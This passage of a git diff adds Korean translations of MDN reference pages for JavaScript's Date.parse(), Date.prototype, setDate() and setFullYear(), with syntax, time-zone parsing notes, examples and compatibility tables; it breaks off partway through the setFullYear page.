+translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse
+---
+<div>{{JSRef}}</div>
+
+<p>Date.parse () 메서드는 날짜의 문자열 표현을 구문 분석하고 1970 년 1 월 1 일 00:00:00 UTC 이후의 밀리 초 수를 반환하거나 문자열이 인식되지 않거나 경우에 따라 잘못된 날짜 값을 포함하는 경우 NaN을 반환합니다. (예 : 2015-02-31).</p>
+
+<p>ES5까지는 Date.parse를 사용하지 않는 것이 좋습니다. 문자열 구문 분석은 전적으로 구현에 따라 다릅니다. 다른 호스트가 날짜 문자열을 구문 분석하는 방법에는 여전히 많은 차이점이 있으므로 날짜 문자열을 수동으로 구문 분석해야합니다 (다양한 형식을 수용하면 라이브러리가 도움이 될 수 있습니다).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>Direct call:</p>
+
+<pre class="syntaxbox">Date.parse(<var>dateString</var>)</pre>
+
+<p>Implicit call:</p>
+
+<pre class="syntaxbox">new Date(<var>dateString</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>dateString</code></dt>
+ <dd>RFC2822 또는 ISO 8601 날짜를 나타내는 문자열 (다른 형식도 사용할 수 있지만 예기치 않은 결과 일 수 있음)</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC 이후 경과 된 밀리 초를 나타내는 숫자 및 주어진 문자열 표현을 파싱하여 얻은 날짜입니다. 인수가 유효한 날짜를 나타내지 않으면 {{jsxref ( "NaN")}}이 반환됩니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>parse () 메서드는 날짜 문자열 (예 : "Dec 25, 1995")을 사용하고 1970 년 1 월 1 일 00:00:00 UTC 이후의 밀리 초 수를 반환합니다. 이 함수는 예를 들어 {{jsxref("Date.prototype.setTime()", "setTime()")}} 메서드 및 {{jsxref ( "Global_Objects / Date ","Date ")}} 객체를 반환합니다.</p>
+
+<p>주어진 시간을 나타내는 문자열이 주어지면 parse ()는 시간 값을 반환합니다. RFC2822 / IETF 날짜 구문 (RFC2822 섹션 3.3)을 받아들입니다. "Mon, 25 Dec 1995 13:30:00 GMT". 미국 대륙의 표준 시간대 약어를 이해하지만, 일반적으로 "Mon, 25 Dec 1995 13:30:00 +0430"(그리니치 자오선의 동쪽으로 4 시간 30 분)과 같이 시간대 오프셋을 사용하십시오.</p>
+
+<p>GMT와 UTC는 동등한 것으로 간주됩니다. 현지 시간대는 시간대 정보가없는 RFC2822 섹션 3.3 형식의 인수를 해석하는 데 사용됩니다.</p>
+
+<p>날짜 문자열 구문 분석의 차이로 인해 결과가 일관되지 않아 문자열을 수동으로 구문 분석하는 것이 좋습니다. 특히 "2015-10-12 12:00:00"과 같은 문자열을 NaN으로 구문 분석 할 수있는 다른 ECMAScript 구현, UTC 또는 현지 시간대.</p>
+
+<h3 id="ECMAScript_5_ISO-8601_format_support">ECMAScript 5 ISO-8601 format support</h3>
+
+<p>날짜 시간 문자열은 ISO 8601 형식 일 수 있습니다. 예를 들어, "2011-10-10"(날짜 만) 또는 "2011-10-10T14 : 48 : 00"(날짜 및 시간)을 전달하고 구문 분석 할 수 있습니다. 문자열이 ISO 8601 날짜 인 경우 UTC 시간대는 인수를 해석하는 데 사용됩니다. 문자열이 ISO 8601 형식의 날짜 및 시간이면 로컬로 처리됩니다.</p>
+
+<p>날짜 문자열 구문 분석 중에 시간대 지정자를 사용하여 인수를 해석하지만 반환되는 값은 1970 년 1 월 1 일 00:00:00 UTC와 인수 또는 NaN이 나타내는 시점 사이의 밀리 초입니다.</p>
+
+<p>parse ()는 {{jsxref ( "Date")}}의 정적 메서드이기 때문에 {{jsxref ( "Date")}} 인스턴스의 메서드가 아닌 Date.parse ()로 호출됩니다.</p>
+
+<h3 id="가정_된_시간대의_차이점">가정 된 시간대의 차이점</h3>
+
+<p>"March 7, 2014"이라는 날짜 문자열이 주어지면 parse ()는 현지 시간대를 사용하지만 "2014-03-07"과 같은 ISO 형식이 주어지면 UTC (ES5 및 ECMAScript 2015)의 시간대로 가정합니다. 따라서 {{jsxref ( "Date")}} 이러한 문자열을 사용하여 생성 된 객체는 시스템이 현지 표준 시간대 (UTC)로 설정되어 있지 않으면 지원되는 ECMAScript 버전에 따라 다른 순간을 나타낼 수 있습니다. 즉, 변환되는 문자열의 형식에 따라 동등하게 나타나는 두 개의 날짜 문자열이 서로 다른 두 개의 값을 가질 수 있습니다.</p>
+
+<h3 id="구현_특정_날짜_형식으로_폴백">구현 특정 날짜 형식으로 폴백</h3>
+
+<p>ECMAScript 사양은 다음과 같이 설명합니다. String이 표준 형식을 준수하지 않으면 함수는 구현 특정 휴리스틱 또는 구현 특정 파싱 알고리즘으로 폴백 할 수 있습니다. 인식 할 수없는 문자열 또는 ISO 형식의 문자열에 잘못된 요소 값이 포함 된 날짜로 인해 Date.parse ()가 {{jsxref ( "NaN")}}을 반환합니다.</p>
+
+<p>그러나 ECMA-262에 정의 된 ISO 형식으로 인식되지 않는 날짜 문자열의 잘못된 값은 제공된 브라우저 및 값에 따라 {{jsxref ( "NaN")}}이 될 수도 있고 그렇지 않을 수도 있습니다 (예 :</p>
+
+<pre class="brush: js">// Non-ISO string with invalid date values
+new Date('23/25/2014');
+</pre>
+
+<p>Firefox 30에서는 2015 년 11 월 25 일, Safari 7에서는 유효하지 않은 날짜로 처리됩니다. 그러나 문자열이 ISO 형식 문자열로 인식되고 유효하지 않은 값을 포함하면 {{jsxref ( "NaN ")}} ES5 이상을 준수하는 모든 브라우저에서 :</p>
+
+<pre class="brush: js">// ISO string with invalid values
+new Date('2014-25-23').toISOString();
+// returns "RangeError: invalid date" in all es5 compliant browsers
+</pre>
+
+<p>SpiderMonkey의 구현 관련 추론은 jsdate.cpp에서 찾을 수 있습니다. 문자열 "10 06 2014"는 부적합한 ISO 형식의 예이므로 맞춤 루틴으로 되돌아갑니다. 파싱이 어떻게 작동하는지에 대한 대략적인 개요를 참조하십시오.</p>
+
+<pre class="brush: js">new Date('10 06 2014');
+</pre>
+
+<p>2014 년 10 월 6 일과 2014 년 6 월 10 일이 아닌 현지 날짜로 취급됩니다. 다른 예 :</p>
+
+<pre class="brush: js">new Date('foo-bar 2014').toString();
+// returns: "Invalid Date"
+
+Date.parse('foo-bar 2014');
+// returns: NaN
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Date.parse()">Using <code>Date.parse()</code></h3>
+
+<p>IPOdate가 기존의 {{jsxref ( "Date")}} 객체 인 경우 다음과 같이 1995 년 8 월 9 일 (현지 시간)으로 설정할 수 있습니다.</p>
+
+<pre class="brush: js">IPOdate.setTime(Date.parse('Aug 9, 1995'));</pre>
+
+<p>표준이 아닌 날짜 문자열을 파싱하는 몇 가지 다른 예는 다음과 같습니다.</p>
+
+<pre class="brush: js">Date.parse('Aug 9, 1995');</pre>
+
+<p>문자열이 표준 시간대를 지정하지 않고 ISO 형식이 아니므로 표준 시간대 GMT-0300의 807937200000과 다른 표준 시간대의 다른 값을 반환하므로 표준 시간대는 기본적으로 local입니다.</p>
+
+<pre class="brush: js">Date.parse('Wed, 09 Aug 1995 00:00:00 GMT');</pre>
+
+<p>GMT (UTC)가 제공되는 현지 시간대와 상관없이 807926400000을 반환합니다.</p>
+
+<pre class="brush: js">Date.parse('Wed, 09 Aug 1995 00:00:00');</pre>
+
+<p>인수에 표준 시간대 지정자가 없으므로 ISO 형식이 아니기 때문에 표준 시간대 GMT-0300에서 807937200000과 다른 표준 시간대의 다른 값을 반환하므로 로컬로 처리됩니다.</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00 GMT');</pre>
+
+<p>현지 시간대와 상관없이 0을 반환합니다. GMT (UTC)가 제공됩니다.</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00');</pre>
+
+<p>표준 시간대가 제공되지 않고 문자열이 ISO 형식이 아니기 때문에 표준 시간대 GMT-0400의 14400000과 다른 표준 시간대의 다른 값을 반환하므로 현지 표준 시간대가 사용됩니다.</p>
+
+<pre class="brush: js">Date.parse('Thu, 01 Jan 1970 00:00:00 GMT-0400');</pre>
+
+<p>현지 시간대와 관계없이 14400000을 반환합니다. GMT (UTC)가 제공됩니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.4.2', 'Date.parse')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>ISO 8601 format added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.parse', 'Date.parse')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.parse', 'Date.parse')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>ISO 8601 format</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckodesktop("2.0")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>ISO 8601 format</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Firefox 49 {{geckoRelease(49)}} changed the parsing of 2-digit years to be aligned with the Google Chrome browser instead of Internet Explorer. Now, 2-digit years that are less than or equal to <code>50</code> are parsed as 21st century years. For example, <code>04/16/17</code>, previously parsed as April 16, 1917, will be April 16, 2017 now. To avoid any interoperability issues or ambiguous years, it is recommended to use the ISO 8601 format like "2017-04-16" ({{bug(1265136)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.UTC()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/prototype/index.html b/files/ko/web/javascript/reference/global_objects/date/prototype/index.html
new file mode 100644
index 0000000000..7fe5dc9617
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/prototype/index.html
@@ -0,0 +1,182 @@
+---
+title: Date.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Date/prototype
+tags:
+ - Date
+ - JavaScript
+ - Property
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.prototype</code></strong> 속성은 {{jsxref("Date")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript {{jsxref("Date")}} 인스턴스는 <code>Date.prototype</code>을 상속합니다. 생성자의 프로토타입을 변경해 모든 <code>Date</code> 인스턴스의 속성과 메서드를 수정할 수 있습니다.</p>
+
+<p>2000년대 달력과의 호환성을 위해 연도는 언제나 완전하게 네 자리 숫자로 작성해야 합니다. 즉 98 대신 1998이 올바른 작성법입니다. <code>Date</code>는 완전한 연도 설정에 도움이 될 {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}, {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}}, {{jsxref("Date.prototype.getUTCFullYear()", "getUTCFullYear()")}}, {{jsxref("Date.prototype.setUTCFullYear()", "setUTCFullYear()")}} 메서드를 가지고 있습니다.</p>
+
+<p>ECMAScript 6부터 <code>Date.prototype</code>은 {{jsxref("Date")}} 인스턴스가 아닌 평범한 객체입니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Date.prototype.constructor</code></dt>
+ <dd>인스턴스 생성에 사용한 생성자를 반환합니다. 기본값은 {{jsxref("Date")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<h3 id="접근자">접근자</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.getDate()")}}</dt>
+ <dd>주어진 날짜의 일(1-31)을 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getDay()")}}</dt>
+ <dd>주어진 날짜의 요일(0-6)을 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getFullYear()")}}</dt>
+ <dd>주어진 날짜의 연도(4자리 수)를 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getHours()")}}</dt>
+ <dd>주어진 날짜의 시(0-23)를 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getMilliseconds()")}}</dt>
+ <dd>주어진 날짜의 밀리초(0-999)를 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getMinutes()")}}</dt>
+ <dd>주어진 날짜의 분(0-59)을 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getMonth()")}}</dt>
+ <dd>주어진 날짜의 월(0-11)을 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getSeconds()")}}</dt>
+ <dd>주어진 날짜의 초(0-59)를 현지 시간에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getTime()")}}</dt>
+ <dd>주어진 날짜와 1970년 1월 1일 0시 0분(UTC)의 차이를 밀리초로 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getTimezoneOffset()")}}</dt>
+ <dd>현재 로케일의 시간대 차이를 분으로 환산해 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDate()")}}</dt>
+ <dd>주어진 날짜의 일(1-31)을 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDay()")}}</dt>
+ <dd>주어진 날짜의 요일(0-6)을 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCFullYear()")}}</dt>
+ <dd>주어진 날짜의 연도(4자리 수)를 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCHours()")}}</dt>
+ <dd>주어진 날짜의 시(0-23)를 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt>
+ <dd>주어진 날짜의 밀리초(0-999)를 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMinutes()")}}</dt>
+ <dd>주어진 날짜의 분(0-59)을 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMonth()")}}</dt>
+ <dd>주어진 날짜의 월(0-11)을 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCSeconds()")}}</dt>
+ <dd>주어진 날짜의 초(0-59)를 UTC에 맞춰 반환합니다.</dd>
+ <dt>{{jsxref("Date.prototype.getYear()")}} {{deprecated_inline}}</dt>
+ <dd>주어진 날짜의 연도(주로 두세자리 숫자)를 현지 시간에 맞춰 반환합니다. {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}를 사용하세요.</dd>
+</dl>
+
+<h3 id="설정자">설정자</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.setDate()")}}</dt>
+ <dd>Sets the day of the month for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setFullYear()")}}</dt>
+ <dd>Sets the full year (e.g. 4 digits for 4-digit years) for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setHours()")}}</dt>
+ <dd>Sets the hours for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setMilliseconds()")}}</dt>
+ <dd>Sets the milliseconds for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setMinutes()")}}</dt>
+ <dd>Sets the minutes for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setMonth()")}}</dt>
+ <dd>Sets the month for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setSeconds()")}}</dt>
+ <dd>Sets the seconds for a specified date according to local time.</dd>
+ <dt>{{jsxref("Date.prototype.setTime()")}}</dt>
+ <dd>Sets the {{jsxref("Date")}} object to the time represented by a number of milliseconds since January 1, 1970, 00:00:00 UTC, allowing for negative numbers for times prior.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCDate()")}}</dt>
+ <dd>Sets the day of the month for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCFullYear()")}}</dt>
+ <dd>Sets the full year (e.g. 4 digits for 4-digit years) for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCHours()")}}</dt>
+ <dd>Sets the hour for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt>
+ <dd>Sets the milliseconds for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMinutes()")}}</dt>
+ <dd>Sets the minutes for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMonth()")}}</dt>
+ <dd>Sets the month for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCSeconds()")}}</dt>
+ <dd>Sets the seconds for a specified date according to universal time.</dd>
+ <dt>{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}</dt>
+ <dd>Sets the year (usually 2-3 digits) for a specified date according to local time. Use {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} instead.</dd>
+</dl>
+
+<h3 id="변환_접근자">변환 접근자</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.toDateString()")}}</dt>
+ <dd>Returns the "date" portion of the {{jsxref("Date")}} as a human-readable string like 'Thu Apr 12 2018'</dd>
+ <dt>{{jsxref("Date.prototype.toISOString()")}}</dt>
+ <dd>Converts a date to a string following the ISO 8601 Extended Format.</dd>
+ <dt>{{jsxref("Date.prototype.toJSON()")}}</dt>
+ <dd>Returns a string representing the {{jsxref("Date")}} using {{jsxref("Date.prototype.toISOString()", "toISOString()")}}. Intended for use by {{jsxref("JSON.stringify()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}</dt>
+ <dd>Returns a string representing the {{jsxref("Date")}} based on the GMT (UT) time zone. Use {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}} instead.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleDateString()")}}</dt>
+ <dd>Returns a string with a locality sensitive representation of the date portion of this date based on system settings.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleFormat()")}} {{non-standard_inline}}</dt>
+ <dd>Converts a date to a string, using a format string.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a string with a locality sensitive representation of this date. Overrides the {{jsxref("Object.prototype.toLocaleString()")}} method.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleTimeString()")}}</dt>
+ <dd>Returns a string with a locality sensitive representation of the time portion of this date based on system settings.</dd>
+ <dt>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns a string representing the source for an equivalent {{jsxref("Date")}} object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("Date.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the specified {{jsxref("Date")}} object. Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd>
+ <dt>{{jsxref("Date.prototype.toTimeString()")}}</dt>
+ <dd>Returns the "time" portion of the {{jsxref("Date")}} as a human-readable string.</dd>
+ <dt>{{jsxref("Date.prototype.toUTCString()")}}</dt>
+ <dd>Converts a date to a string using the UTC timezone.</dd>
+ <dt>{{jsxref("Date.prototype.valueOf()")}}</dt>
+ <dd>Returns the primitive value of a {{jsxref("Date")}} object. Overrides the {{jsxref("Object.prototype.valueOf()")}} method.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.prototype")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setdate/index.html b/files/ko/web/javascript/reference/global_objects/date/setdate/index.html
new file mode 100644
index 0000000000..17f2b8aa02
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setdate/index.html
@@ -0,0 +1,127 @@
+---
+title: Date.prototype.setDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setDate
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setDate()</strong> 메서드는 현재 설정된 월의 시작 부분을 기준으로 {{jsxref ( "Date")}} 객체의 날짜를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setDate(<var>dayValue</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>dayValue</code></dt>
+ <dd>월의 일을 나타내는 정수입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 주어진 날짜 사이의 밀리 초 ({{jsxref ( "Date")}} 개체도 변경됩니다).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>dayValue가 해당 월의 날짜 값 범위를 벗어나면 setDate ()는 그에 따라 {{jsxref ( "Date")}} 객체를 업데이트합니다. 예를 들어, dayValue에 0이 제공되면 날짜는 이전 달의 마지막 날로 설정됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setDate()">Using <code>setDate()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date(1962, 6, 7); // 1962-07-07
+theBigDay.setDate(24); // 1962-07-24
+theBigDay.setDate(32); // 1962-08-01
+theBigDay.setDate(22); // 1962-08-22</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.36', 'Date.prototype.setDate')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setfullyear/index.html b/files/ko/web/javascript/reference/global_objects/date/setfullyear/index.html
new file mode 100644
index 0000000000..f9faaca856
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setfullyear/index.html
@@ -0,0 +1,133 @@
+---
+title: Date.prototype.setFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setFullYear()</strong> 메서드는 현지 시간에 따라 지정된 날짜의 전체 연도를 설정합니다. 새로운 타임 스탬프를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setFullYear(<var>yearValue</var>[, <var>monthValue</var>[, <var>dayValue</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>yearValue</code></dt>
+ <dd>연도의 숫자 값을 지정하는 정수입니다 (예 : 1995).</dd>
+ <dt><code>monthValue</code></dt>
+ <dd>선택 과목. 1 월에서 12 월까지의 월을 나타내는 0에서 11 사이의 정수입니다.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>선택 과목. 한 달의 날짜를 나타내는 1 - 31 사이의 정수입니다. dayValue 매개 변수를 지정하는 경우 monthValue도 지정해야합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>monthValue 및 dayValue 매개 변수를 지정하지 않으면 {{jsxref ("Date.prototype.getMonth()", "getMonth()")}} 및 {{jsxref("Date.prototype.getDate)","getDate()")}} 메소드가 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setFullYear ()가 다른 매개 변수와 {{jsxref ( "Date")}} 객체의 날짜 정보를 그에 따라 업데이트하려고 시도합니다. 예를 들어, monthValue에 15를 지정하면 연도가 1 (yearValue + 1)만큼 증가하고 3은 해당 월에 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setFullYear()">Using <code>setFullYear()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setFullYear(1997);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
